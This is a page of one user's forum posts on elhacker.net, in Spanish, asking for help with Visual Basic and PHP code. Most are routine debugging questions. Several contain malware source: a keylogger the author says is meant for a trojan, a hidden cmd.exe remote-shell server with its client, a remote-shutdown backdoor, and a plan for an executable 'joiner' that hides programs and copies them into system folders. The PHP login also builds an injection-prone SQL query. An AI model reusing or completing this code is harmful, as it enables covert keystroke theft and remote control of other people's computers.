elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Temas
Páginas: [1] 2
1  Programación / Desarrollo Web / [Ayuda] Problemas con sesiones. en: 20 Marzo 2013, 21:27 pm
MI problema es el siguiente. No he cambiado absolutamente ningun trozo de de codigo de mi web, pero sin saber porque, la sesion o mejor dicho las variables de sesion no se guardan entre paginas.

Estoy desesperado la verdad.

Todo empieza con el archivo de login, que comprueba con la base de datos el usuario y la contraseña y en el caso de que sea correcto entonces crea cuatro variables de sesion, con los datos de ese usuario y redirige a profesionales.php. En profesionales compruebo la existencia de la variable de sesion usuario y si existe imprimo el codigo html y sino redirijo de nuevo a login.php.

Os pongo los codigos.

Login.php

Código
  1. <?php
  2.  
  3. if(isset($_SESSION['user'])){
  4. header("Location: profesionales.php");
  5. }
  6.  
  7. if($_POST){
  8. extract($_POST);
  9. include_once("includes/class.sql.php");
  10. include_once("includes/config.inc.php");
  11. include_once("includes/funciones.php");
  12.  
  13. $user=limpiar($user);
  14. $password=sha1($pass);
  15.  
  16. $sql=new sql($ip, $usuario, $pass, $db);
  17.  
  18. $respuesta=$sql->consultar("select * from usuarios where usuario='$user';");
  19.  
  20. if(!empty($respuesta)){
  21. if($user==$respuesta[0]['usuario'] && $password==$respuesta[0]['password']){
  22. $_SESSION['id']=$respuesta[0]['id'];
  23. $_SESSION['user']=$user;
  24. $_SESSION['pass']=$password;
  25. $_SESSION['auth_level']=$respuesta[0]['lvl_auth'];
  26.                        // Si aqui imprimo las variables de session recien creadas se muestran correctamente.
  27. echo "<script>location.href='profesionales.php'</script>";
  28. }else{
  29. echo "<script>alert('El usuario introducido o la contrase\u00f1a no son correctos');</script>";
  30. echo "<script>location.href='index.php?p=login'</script>";
  31. }
  32. }else{
  33. echo "<script>alert('El usuario introducido o la contrase\u00f1a no son correctos');</script>";
  34. echo "<script>location.href='index.php?p=login'</script>";
  35. }
  36.  
  37.  
  38. }else{
  39. ?>
  40. <br />
  41. <div id="acceso">
  42. <form method="post" action="login.php">
  43. Usuario<br />
  44. <input type="text" name="user" /><br />
  45. Password<br />
  46. <input type="password" name="pass" /><br /><br />
  47. <p align="center"><input type="submit" value="Entrar" class="button"></p>
  48. </form>
  49. </div>
  50.  
  51. <?php
  52. }
  53. ?>

profesionales.php

Código
  1. <?php
  2.  
  3. session_start(); //En la primera linea declaro el session_start()
  4.  
  5. include_once("includes/config.inc.php");
  6. include_once("includes/class.sql.php");
  7. include_once("includes/funciones.php");
  8.  
  9. $sql=new sql($ip, $usuario, $pass, $db);
  10.  
  11. $respuesta=$sql->consultar("SELECT * FROM presupuestos_usuarios");
  12.  
  13. $sql->cerrar();
  14.  
  15. unset($sql);
  16.  
  17. if(!isset($_SESSION['user'])){
  18. header("Location: login.php"); //Aqui al no detectar la sesion me redirige al login de nuevo.
  19. }else{
  20. ?>
  21. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  22. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es-es" lang="es-es">
  23. <head>
  24. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  25. <meta http-equiv="content-language" content="es_ES" />
  26. <meta charset="utf-8" /> <!-- Tipo de Codificación -->
  27. <title>Reformas y presupuestos</title>
  28. <style type="text/css">
  29. @import "css/profesionales.css";
  30. </style>
  31. </head>
  32. <body>
  33. <script src="js/jquery-1.8.3.js" type="text/javascript"></script>
  34. <script src="js/jquery.validate.js" type="text/javascript"></script>
  35. <script src="js/jquery.imagecube.js" type="text/javascript"></script>
  36. <script src="js/resizeLib.js" type="text/javascript" ></script>
  37. <script src="js/ajax.js" type="text/javascript" ></script>
  38. <script src="ckeditor/ckeditor.js" type="text/javascript" ></script>
  39. <script type="text/javascript" src="tiny_mce/tiny_mce.js"></script>
  40. <script>
  41.  
  42. jQuery(document).ready(function(){
  43. $(".filtro").bind('keypress', function(e) {
  44. if(e.keyCode==13){
  45. var n_parametros=0;
  46. var filtro="";
  47. if($("#comunidad").val() !=""){
  48. n_parametros++;
  49. if(n_parametros > 1){
  50. filtro +="&"+$("#comunidad")[0].id+"="+$("#comunidad")[0].value;
  51. }else{
  52. filtro +=$("#comunidad")[0].id+"="+$("#comunidad")[0].value;
  53. }
  54. }
  55.  
  56. if($("#localidad").val() !=""){
  57. n_parametros++;
  58. if(n_parametros > 1){
  59. filtro +="&"+$("#localidad")[0].id+"="+$("#localidad")[0].value;
  60. }else{
  61. filtro +=$("#localidad")[0].id+"="+$("#localidad")[0].value;
  62. }
  63. }
  64.  
  65. if($("#categoria").val() !=""){
  66. n_parametros++;
  67. if(n_parametros > 1){
  68. filtro +="&"+$("#categoria")[0].id+"="+$("#categoria")[0].value;
  69. }else{
  70. filtro +=$("#categoria")[0].id+"="+$("#categoria")[0].value;
  71. }
  72. }
  73.  
  74.  
  75. var respuesta = ajax("presupuestos_usuarios.php?"+filtro, "","GET");
  76. $("#principal").html(respuesta);
  77. }
  78. });
  79.  
  80. var respuesta_inicial=ajax("presupuestos_usuarios.php","","GET");
  81. $("#principal").html(respuesta_inicial);
  82. });
  83.  
  84. function ver(id_pre){
  85. var respuesta=ajax("ver_presupuesto.php?id="+id_pre,"","GET");
  86. $("#cuerpo").html(respuesta);
  87. }
  88.  
  89. function enviar(id_pre){
  90. var respuesta=ajax("dar_presupuesto.php?","id="+id_pre,"POST");
  91. $("#cuerpo").html(respuesta);
  92. }
  93.  
  94. </script>
  95. <div id="menu">
  96. <div id="logo">
  97. <a href="http://127.0.0.1/orocar/"><img src="images/logo.png" style="width: 100%; height: 100%" /></a>
  98. </div>
  99. <div id="menu-principal">
  100. <ul>
  101. <li type="disc" id="logout"><a href="index.php?p=logout">Cerrar Sesion</a></li>
  102. <li type="disc" id="presupuestos"><a href="profesionales.php">Presupuestos de Usuarios</a></li>
  103. <li type="disc" id="perfil"><a href="index.php?p=inicio">Inicio</a></li>
  104. </ul>
  105. </div>
  106. <div class="limpiar"></div>
  107. </div>
  108. <div id="cabecera">
  109. <div id="cabecera-content">
  110. <h1 id="titulo_pagina">Presupuestos recibidos</h1>
  111. </div>
  112. </div>
  113. <div id="cuerpo">
  114. <h2>Presupuestos solicitados por los usuarios</h2><br />
  115. <div style="width: 33.3%; float: left;">
  116. <label>Comunidad Autonoma</label><br /><br />
  117. <input type="text" style="width: 50%; height: 4%; font-size: 14px;" class="filtro" id="comunidad">
  118. </div>
  119. <div style="width: 33.3%; float: left; ">
  120. <label>Categoria</label><br /><br />
  121. <input type="text" style="width: 50%; height: 4%; font-size: 14px;" class="filtro" id="categoria">
  122. </div>
  123. <div style="width: 33.3%; float: left; ">
  124. <label>Localidad</label><br /><br />
  125. <input type="text" style="width: 50%; height: 4%; font-size: 14px;" class="filtro" id="localidad">
  126. </div>
  127. <div class="limpiar"></div>
  128. <div id="principal">
  129.  
  130. </div>
  131. </div>
  132. <div id="pie">
  133.  
  134. </div>
  135. </body>
  136. </html>
  137.  
  138. <?php
  139. }
  140. ?>
2  Programación / Programación Visual Basic / [Duda] Generar archivos ejecutables a partir de los bytes originales en: 27 Septiembre 2011, 07:15 am
Quizas en el titulo no este muy bien definidad mi duda, asi que me dispodnre a aclararla. Mi idea, es conseguir los bytes que componen dos archivos ( una imagen y un ejecutable por ejemplo). Guardar esos bytes en dos variables diferentes, convertir esos bytes en programas y despues ejecutarlos. Todo ello desde vba claro esta. ¿Como podria sacar los bytes en hexadecimal de dos programas que yo elija y que un tercero, con esos bytes, los genere en disco, los ejecute y como no los copie a diferentes directorios del sistema?

Puede sonar complicado pero quiero ahcer algo parecido a esto...dejo el link del blog que por cierto seguro que alguno conoceis y sino, no tiene perdida, es la leche.

http://www.flu-project.com/ocultando-un-ejecutable-creando-nuestro-%E2%80%9Cjoiner%E2%80%9D-casero.html

De momento he hecho un trocito de codigo sencillo, lo dejo para que veais lo que quiero hacer.

Código
  1. Private Sub Command1_Click()
  2.    With pp
  3.        .DialogTitle = "Elige el primer archivo"
  4.        .Filter = "Ejecutables|*.exe"
  5.        .ShowOpen
  6.    End With
  7. arcUno.Text = pp.FileName
  8. End Sub
  9.  
  10. Private Sub Command2_Click()
  11.    With pp
  12.        .DialogTitle = "Elige el segundo archivo"
  13.        .Filter = "Todo tipo de archivos|*"
  14.        .ShowOpen
  15.    End With
  16. arcDos.Text = pp.FileName
  17. End Sub
  18.  
  19. Private Sub Command3_Click()
  20. Dim Data() As Byte
  21. Dim DataLon As Long
  22. Open arcUno For Binary Lock Read As 1
  23. Open arcDos For Binary Lock Read As 2
  24. Open byteRes For Binary Access Write As 3
  25. DataLon = FileLen(arcUno) + Len(arcDos)
  26. ReDim Data(DataLon) As Byte
  27. Get #1, , Data
  28. Get #2, , Data
  29. Put #3, , Hex(Data(DataLon))
  30. Close
  31. End Sub
3  Programación / Desarrollo Web / Ayuda con GreaseMonkey en: 1 Julio 2011, 16:33 pm
Supongo que todos conoceis este complemento para firefox que permite cargar un script sobre una pagina web ya creada.

Bien mi problema es que cuando un script falla, soy incapaz de saber donde ha falaldo y porque asi que me veo recorriendo el codigo y perdiendo un mnton de tiempo en ello.

Mi pregunta es saber si alguien conoce algun programa que muestre a poder ser el error en el script y la linea del error me facilitaria el trabajo enormemente.

Saludos
4  Programación / Programación Visual Basic / Ayuda con mi Keylogger en: 23 Febrero 2011, 17:57 pm
Bueno en primer lugar antes de que nadie diga nada. El codigo no es copiado, me base mucho en un code que vi, pero hay bastantes cosillas cambiadas. Desconozco el autor del code original pero en principio los comentarios estaban en ingles.

El keylogger funciona casi perfectamente pero cuando le doy a espacio el cursor tabula hacia el principio del textbox. Es decir, en vez de escribir "ola me llamo alberto" escribe "alberto llamo me ola     ". En cuanto le doy a espacio genera el espacio pero retorna hacia atras. No se que sera. Lo estoy haciendo para un troyano, cuando lo termine si me animo libero el codigo a la comunidad. Para hacer las pruebas he creado un programa simple, cuando este funcional lo introducco en el troyano.

En el form:
Código
  1. Private Sub Command1_Click()
  2. Timer1.Enabled = True
  3. Timer2.Enabled = True
  4. Command1.Enabled = False
  5. Command2.Enabled = True
  6. End Sub
  7.  
  8. Private Sub Command2_Click()
  9. Timer1.Enabled = False
  10. Timer2.Enabled = False
  11. Command2.Enabled = False
  12. Command1.Enabled = True
  13. End Sub
  14.  
  15. Private Sub Form_Load()
  16. Command2.Enabled = False
  17. Timer1.Enabled = False
  18. caracter(33) = "[Pag Arriba]"
  19. caracter(34) = "[Pag Abajo]"
  20. caracter(35) = "[Fin]"
  21. caracter(36) = "[Inicio]"
  22. caracter(45) = "[Insertar]"
  23. caracter(46) = "[Supr]"
  24. caracter(48) = "="
  25. caracter(49) = "!"
  26. caracter(50) = "@"
  27. caracter(51) = "#"
  28. caracter(52) = "$"
  29. caracter(53) = "%"
  30. caracter(54) = "&"
  31. caracter(55) = "/"
  32. caracter(56) = "("
  33. caracter(57) = ")"
  34. caracter(186) = "`"
  35. caracter(187) = "+"
  36. caracter(188) = ","
  37. caracter(189) = "-"
  38. caracter(190) = "."
  39. caracter(191) = "}"
  40. caracter(219) = "{" '
  41. caracter(220) = "\"
  42. caracter(221) = "¡"
  43. caracter(222) = "{"
  44. caracter(86) = "^"
  45. caracter(87) = "*"
  46. caracter(88) = ";"
  47. caracter(89) = "_"
  48. caracter(90) = ":"
  49. caracter(91) = "?"
  50. caracter(119) = "?"
  51. caracter(120) = "|"
  52. caracter(121) = "¿"
  53. caracter(122) = """"
  54. caracter(96) = "0"
  55. caracter(97) = "1"
  56. caracter(98) = "2"
  57. caracter(99) = "3"
  58. caracter(100) = "4"
  59. caracter(101) = "5"
  60. caracter(102) = "6"
  61. caracter(103) = "7"
  62. caracter(104) = "8"
  63. caracter(105) = "9"
  64. caracter(106) = "*"
  65. caracter(107) = "+"
  66. caracter(109) = "-"
  67. caracter(110) = "."
  68. caracter(111) = "/"
  69. caracter(192) = "ñ"
  70. caracter(92) = "Ñ"
  71. End Sub
  72.  
  73. Private Sub Timer1_Timer()
  74. Dim teclas As Long
  75. For teclas = 65 To 90
  76.    If GetAsyncKeyState(teclas) = -32767 Then
  77.        If GetAsyncKeyState(VK_SHIFT) < 0 Then
  78.            If GetKeyState(VK_CAPITAL) > 0 Then
  79.                Text1.Text = Text1.Text & LCase(caracter(teclas))
  80.                Exit Sub
  81.            Else
  82.                Text1.Text = Text1.Text & UCase(caracter(teclas))
  83.                Exit Sub
  84.            End If
  85.        Else
  86.            If GetKeyState(VK_CAPITAL) > 0 Then
  87.                Text1.Text = Text1.Text & UCase(caracter(teclas))
  88.                Exit Sub
  89.            Else
  90.                Text1.Text = Text1.Text & LCase(caracter(teclas))
  91.                Exit Sub
  92.            End If
  93.        End If
  94.    End If
  95. Next
  96. For teclas = 48 To 57
  97.    If GetAsyncKeyState(teclas) = -32767 Then
  98.        If GetAsyncKeyState(VK_SHIFT) < 0 Then
  99.            Text1.Text = Text1.Text & caracter(teclas)
  100.            Exit Sub
  101.        Else
  102.            Text1.Text = Text1.Text & caracter(teclas)
  103.            Exit Sub
  104.        End If
  105.    End If
  106. Next
  107. For teclas = 186 To 192
  108.    If GetAsyncKeyState(teclas) = -32767 Then
  109.        If GetAsyncKeyState(VK_SHIFT) < 0 Then
  110.            Text1.Text = Text1.Text & caracter(teclas - 100)
  111.            Exit Sub
  112.        Else
  113.            Text1.Text = Text1.Text & caracter(teclas)
  114.            Exit Sub
  115.        End If
  116.    End If
  117. Next
  118. For teclas = 219 To 222
  119.    If GetAsyncKeyState(teclas) = -32767 Then
  120.        If GetAsyncKeyState(VK_SHIFT) < 0 Then
  121.            Text1.Text = Text1.Text & caracter(teclas - 100)
  122.            Exit Sub
  123.        Else
  124.            Text1.Text = Text1.Text & caracter(teclas)
  125.            Exit Sub
  126.        End If
  127.    End If
  128. Next
  129. For teclas = 96 To 111
  130.    If GetAsyncKeyState(teclas) = -32767 Then
  131.        If GetAsyncKeyState(VK_ALT) < 0 Then
  132.            Text1.Text = Text1.Text & caracter(teclas)
  133.            Exit Sub
  134.        Else
  135.            Text1.Text = Text1.Text & "[Alt]"
  136.            Exit Sub
  137.        End If
  138.    End If
  139. Next
  140. If GetAsyncKeyState(32) = -32767 Then
  141.    Text1.Text = Text1.Text & " "
  142. End If
  143. If GetAsyncKeyState(13) = -32767 Then
  144.    Text1.Text = Text1.Text & "Enter>" & vbCrLf
  145. End If
  146. If GetAsyncKeyState(8) = -32767 Then
  147.    If (Right(Text1.Text, 1)) = " " Then GoTo nod
  148.       tip = Len(Text1.Text) - 1
  149.       Text1.Text = Left(Text1.Text, tip)
  150. nod:
  151.    End If
  152.  
  153. If GetAsyncKeyState(37) = -32767 Then
  154.    Text1.Text = Text1.Text & "[Izquierda]"
  155. End If
  156.  
  157. If GetAsyncKeyState(38) = -32767 Then
  158.    Text1.Text = Text1.Text & "[Arriva]"
  159. End If
  160.  
  161. If GetAsyncKeyState(39) = -32767 Then
  162.    Text1.Text = Text1.Text & "[Derecha]"
  163. End If
  164.  
  165. If GetAsyncKeyState(40) = -32767 Then
  166.    Text1.Text = Text1.Text & "[Abajo]"
  167. End If
  168.  
  169. If GetAsyncKeyState(9) = -32767 Then
  170.    Text1.Text = Text1.Text & "[Tab]"
  171. End If
  172.  
  173. If GetAsyncKeyState(27) = -32767 Then
  174.    Text1.Text = Text1.Text & "[Escape]"
  175. End If
  176.  
  177. For teclas = 45 To 46
  178.    If GetAsyncKeyState(teclas) = -32767 Then
  179.        Text1.Text = Text1.Text & caracter(letras)
  180.    End If
  181. Next
  182. End Sub
  183.  
  184. Private Sub Timer2_Timer()
  185. GuardaLog
  186. End Sub

En el módulo:
Código
  1. Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  2. Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  3. Public caracter(255) As String
  4. Public Const VK_SHIFT = &H10
  5. Public Const VK_CTRL = &H11
  6. Public Const VK_ALT = &H12
  7. Public Const VK_CAPITAL = &H14
  8. Public AltDown As Boolean
  9.  
  10. Function GuardaLog()
  11. Dim ar As String
  12. Open Environ("windir") & "\keylog.txt" For Output As #1
  13. Print #1, Form1.Text1.Text
  14. Close #1
  15. End Function
  16.  
  17. Function LeeLog(archivo As String) As String
  18. Dim lee As String
  19. Open archivo For Input As #1
  20.    lee = Input(LOF(1), 1)
  21. Close #1
  22. LeeLog = lee
  23. End Function

El espacio es el código ascii 32 pero ahi no veo ningun problema.

Salu2 y gracias por adelantado.
5  Programación / Programación Visual Basic / Ayuda Error 92 en tiempo de Ejecucion en: 16 Junio 2010, 21:55 pm
Estoy programando con webrowser una aplicación que automatice la construcción de unidades en un juego de navegador del estilo ogame.
El error salta en timepo de ejecución:


Error 91 en tiempo de ejecución:
Variable de tipo Object o la variable de tipo With no esta establecida.


La linea que señala el depurador es esta:

var_value.Value = Val(Text3.Text)


Código
  1. Option Explicit
  2. 'FIXIT: Declare 'doc' con un tipo de datos de enlace en tiempo de compilación              FixIT90210ae-R1672-R1B8ZE
  3. Dim doc As Object
  4. 'FIXIT: Declare 'var_input' con un tipo de datos de enlace en tiempo de compilación        FixIT90210ae-R1672-R1B8ZE
  5. Dim var_input As Object
  6. 'FIXIT: Declare 'var_value' con un tipo de datos de enlace en tiempo de compilación        FixIT90210ae-R1672-R1B8ZE
  7. Dim var_value As Object
  8. 'FIXIT: Declare 'var_but' con un tipo de datos de enlace en tiempo de compilación          FixIT90210ae-R1672-R1B8ZE
  9. Dim var_but As Object
  10. 'FIXIT: Declare 'hangar' con un tipo de datos de enlace en tiempo de compilación           FixIT90210ae-R1672-R1B8ZE
  11. Dim hangar As Object
  12. Dim naves As String
  13. Private Sub Command1_Click()
  14. Set doc = WebBrowser1.Document
  15. Set var_input = doc.getelementbyid("username")
  16. var_input.Value = Text1.Text
  17. Set var_input = doc.getelementbyid("password")
  18. var_input.Value = Text2.Text
  19. Set var_but = doc.getelementbyid("submit")
  20. var_but.Click
  21. End Sub
  22.  
  23. Private Sub Command2_Click()
  24. Dim bucle As Long
  25. Dim cantidad As String
  26. For bucle = 1 To Val(Text4.Text)
  27. WebBrowser1.Navigate "http://uni3.zagamex.com.ar/game.php?page=buildings&mode=fleet"
  28. Set hangar = WebBrowser1.Document
  29. Set var_value = hangar.getelementbyid(Label20.Caption)
  30. var_value.Value = Val(Text3.Text)
  31. Set var_but = hangar.getelementbytagname("INPUT")
  32. 'FIXIT: Declare 'result' con un tipo de datos de enlace en tiempo de compilación           FixIT90210ae-R1672-R1B8ZE
  33. Dim result
  34. For Each result In hangar.getelementbytagname("INPUT")
  35.    If result.Value = "Construir" Then var_but.Click
  36. Next
  37. Next
  38. End Sub
  39.  
  40. Private Sub Form_Load()
  41. Text1.Text = ""
  42. Text2.Text = ""
  43. Text3.Text = ""
  44. Text4.Text = ""
  45. WebBrowser1.Navigate "http://uni3.zagamex.com.ar"
  46. End Sub
  47. Private Sub Option1_Click()
  48. If Option1.Value = True Then Label20.Caption = "fmenge[202]"
  49. End Sub
  50. Private Sub Option2_Click()
  51. If Option2.Value = True Then Label20.Caption = "fmenge[203]"
  52. End Sub
  53. Private Sub Option3_Click()
  54. If Option3.Value = True Then Label20.Caption = "fmenge[204]"
  55. End Sub
  56. Private Sub Option4_Click()
  57. If Option4.Value = True Then Label20.Caption = "fmenge[205]"
  58. End Sub
  59. Private Sub Option5_Click()
  60. If Option5.Value = True Then Label20.Caption = "fmenge[206]"
  61. End Sub
  62. Private Sub Option6_Click()
  63. If Option6.Value = True Then Label20.Caption = "fmenge[207]"
  64. End Sub
  65. Private Sub Option7_Click()
  66. If Option7.Value = True Then Label20.Caption = "fmenge[208]"
  67. End Sub
  68. Private Sub Option8_Click()
  69. If Option8.Value = True Then Label20.Caption = "fmenge[209]"
  70. End Sub
  71. Private Sub Option9_Click()
  72. If Option9.Value = True Then Label20.Caption = "fmenge[210]"
  73. End Sub
  74. Private Sub Option10_Click()
  75. If Option10.Value = True Then Label20.Caption = "fmenge[211]"
  76. End Sub
  77. Private Sub Option11_Click()
  78. If Option11.Value = True Then Label20.Caption = "fmenge[212]"
  79. End Sub
  80. Private Sub Option12_Click()
  81. If Option12.Value = True Then Label20.Caption = "fmenge[213]"
  82. End Sub
  83. Private Sub Option13_Click()
  84. If Option13.Value = True Then Label20.Caption = "fmenge[214]"
  85. End Sub
  86. Private Sub Option14_Click()
  87. If Option14.Value = True Then Label20.Caption = "fmenge[215]"
  88. End Sub
  89. Private Sub Option15_Click()
  90. If Option15.Value = True Then Label20.Caption = "fmenge[216]"
  91. End Sub
  92.  
  93.  

HE leido sobre el error pero no termino de entender el motivo, si me lo pudieran explicar muy simple como para tontos lo agradeceria.

Gracias de antemano y Salu2
6  Programación / Programación Visual Basic / Problema al cargar formulario en: 16 Junio 2010, 14:58 pm
Resulta que estoy realizando un programa que haga macros web. NEcesito cargar distintos formularios que son activados por botones, pero mi problema es el siguiente:

Código
  1. Private Sub Command1_click()
  2. Load Form2
  3. Form2.Show



No lo carga me tira este error:

Error 404 en tiempo de ejecucion se requiere un objeto.

HE buscado el error pero no tiene sentido, los form no hay que declararlos asi que estoy perdido. Muchas gracias de antemano.


Salu2
7  Programación / Programación Visual Basic / Ayuda con shell remota en: 10 Junio 2010, 22:21 pm
Bie me dispuse ha hacer una shell remota con el comando shell "cmd.exe /c .....". Estoy desesperado no entiendo el motivo del fallo del codigo. El caso es como si el server no recibiera el comando. Lo posteo para que lo vean:


SERVIDOR:


Código
  1. Private Sub Form_Load()
  2. Text1.Text = ""
  3. Text2.Text = ""
  4. Winsock1.Protocol = sckTCPProtocol
  5. Winsock1.LocalPort = 3000
  6. Winsock1.Listen
  7. End Sub
  8.  
  9. Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
  10. Winsock1.Close
  11. Winsock1.Accept requestID
  12. End Sub
  13.  
  14. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  15. Dim comando As String
  16. Dim a As Integer
  17. Winsock1.GetData comando
  18. Text1.Text = comando
  19. Shell ("%windir%/system32/cmd.exe /c " & Text1.Text & ">%windir%/shell.txt"), vbHide
  20.  
  21. End Sub

De moemtno solo busco que funcione no que me devuelva la respuesta.

CLIENTE:

Código
  1. Private Sub Command1_Click()
  2. Winsock1.Close
  3. Winsock1.RemotePort = 3000
  4. Winsock1.RemoteHost = Text1.Text
  5. Winsock1.Connect
  6. End Sub
  7.  
  8. Private Sub Command2_Click()
  9. Dim comando As String
  10. Text4.Text = comando
  11. Winsock1.SendData comando
  12. Text4.Text = ""
  13. End Sub
  14.  
  15. Private Sub Form_Load()
  16. Text1.Text = ""
  17. Text2.Text = ""
  18. Text4.Text = ""
  19. Label3.Caption = "Desconectado"
  20. Winsock1.Protocol = sckTCPProtocol
  21. End Sub
  22.  
  23. Private Sub Text2_Change()
  24.  
  25. End Sub
  26.  
  27. Private Sub Text4_KeyPress(KeyAscii As Integer)
  28. If KeyAscii = 13 Then Command2_Click
  29. End Sub
  30.  
  31. Private Sub Winsock1_Close()
  32. Label3.Caption = "Desconectado"
  33. Text2.Text = Text2.Text & vbCrLf & "Se ha perdido la conexión con el host remoto"
  34. End Sub
  35.  
  36. Private Sub Winsock1_Connect()
  37. Label3.Caption = "Conectado"
  38. Text2.Text = "Conectado con exito a " & Winsock1.RemoteHostIP
  39. End Sub
  40.  
  41.  
  42. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  43. Dim datos As String
  44. Winsock1.GetData datos
  45. Text3.Text = Text3.Text & vbCrLf & datos
  46. End Sub


Gracias por adelantado. Espero sus respuestas. Salu2
8  Programación / Programación Visual Basic / Mas información sobre Wininet en: 10 Junio 2010, 08:34 am
VEran esta libreria me seria muy util para poder establecer sesiones http por medio de programas hechos en basic. He visto todas las apis de este post http://foro.elhacker.net/programacion_visual_basic/declaraciones_de_wininet-t85007.0.html

Sinceramente no me solucionan nada y no me mal interpreten se agradece la ayuda. El caso es que necesitaria algun tipo de tutorial sobre esta libreria. He visto algo sobre wininet para conseguir el codigo fuente de una web y cosas por el estilo pero necesitaria algo mas de información. Muchas gracias



Salu2
9  Programación / Programación Visual Basic / Ayuda con codigo en: 27 Enero 2010, 01:39 am
En primer lugar, no sabia si debia crear un post nuevo o volver a postear en el que pedi ayuda con el chat. Agradeceria al admin que me lo aclarara para asi no estorbar. Este codigo lo que quiero que haga es apagar un ordenador de forma remota. He visto que la API ExitWindowsEx se utiliza con una sintaxis especial. Posteo el codigo y comento mejor:

Cliente:

Código
  1. Option Explicit
  2. Private Sub Command1_Click()
  3. Winsock1.RemotePort = 9000
  4. Winsock1.RemoteHost = Text1.Text
  5. Winsock1.Connect
  6. End Sub
  7.  
  8. Private Sub Command2_Click()
  9. Dim apagar As Long
  10. apagar = 1
  11. Winsock1.SendData apagar
  12. End Sub
  13.  
  14.  
  15. Private Sub Command3_Click()
  16. Dim reiniciar As Long
  17. reiniciar = 2
  18. Winsock1.SendData reiniciar
  19. End Sub

Aqui lo que hago es asiganrle el valor 1 a apagar y a reiniciar 2. Por qué? Porque asi con una instruccion condicional en el servidor podre establecer lo que quiero que haga (corrijanme si esto no se puede hacer).

Servidor:
Código
  1. Option Explicit
  2. Const EWX_LOGOFF = 0
  3. Const EWX_SHUTDOWN = 1
  4. Const EWX_REBOOT = 2
  5. Const EWX_FORCE = 4
  6. Private Declare Function ExitWindowsEx& Lib "user32" (ByVal uFlags&, ByVal dwReserved&)
  7.  
  8. Private Sub Form_Load()
  9. Winsock1.LocalPort = 9000
  10. Winsock1.Listen
  11. End Sub
  12. Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
  13. Winsock1.Close
  14. Winsock1.Accept requestID
  15. End Sub
  16. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  17. Dim datos As Long
  18. Winsock1.GetData datos
  19. If datos = 1 Then datos = ExitWindowsEx(1, 0&)
  20. If datos = 2 Then datos = ExitWindowsEx(2, 0&)
  21. End Sub
  22.  

EL servidor es sencillo, establezco el puerto de escucha acepto la conexion y recibo los datos. La duda viene a continuación. En el evento DataArrival recibo los datos y les asigno como variable datos, luego estblezco una condición para que dependiendo del valor de la cadena de datos que entre reinicie o apague.
PEro señores el codigo no funciona, compila bien y todo eso pero cunado aprito en apagar x ejemplo no se apaga. No salta ningun error ni nada pero no funciona. Espero me puedan decir cual es el error en el code. Grcias de nuevo.
10  Programación / Programación Visual Basic / Corrijanme por favor. en: 25 Enero 2010, 22:43 pm
Estoy aprendiendo visual basic despues de solo haber tocado programación estructurada y me hago un poko un lio. Me he aventurado a crear un chat cutre cliente servidor con basic xd. El problema es que cuando le doy a conectar en el cliente me dice Error 10048 en tiempo de ejecucion, dirección en uso. Aclaro que ejcuto tanto servidor como cliente en mi ordenador y para conectar utilizo mi ip local. LEs posteo los codes.

Cliente:

Código
  1. Private Sub Command1_Click()
  2. Winsock1.RemoteHost = Text3.Text
  3. Winsock1.Connect
  4. End Sub
  5.  
  6. Private Sub Command2_Click()
  7. Dim enviar As String
  8. enviar = Text2.Text
  9. Winsock1.SendData enviar
  10. End Sub
  11.  
  12. Private Sub Form_Load()
  13.  
  14. End Sub
  15.  
  16. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  17. Dim datos As String
  18. Winsock1.GetData datos
  19. Text1.Text = Text1.Text + datos
  20. End Sub
  21.  

Servidor:

Código
  1. Private Sub Command1_Click()
  2. Winsock1.Listen
  3. End Sub
  4.  
  5. Private Sub Command2_Click()
  6. Dim enviar As String
  7. enviar = Text2.Text
  8. Winsock1.SendData enviar
  9. End Sub
  10.  
  11.  
  12. Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
  13. Winsock1.Close
  14. Winsock1.Accept requestID
  15. End Sub
  16.  
  17. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  18. Dim datos As String
  19. Winsock1.GetData datos
  20. Text1.Text = Text1.Text + datos
  21. End Sub
  22.  

Aclaro que el puerto utilizado es el 888. Esta establecido en el interfaz gráfico de VBA al igual que tambien lo esta el tipo de conexión (TCP/IP).


Salu2 y gracias de antemano.

Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines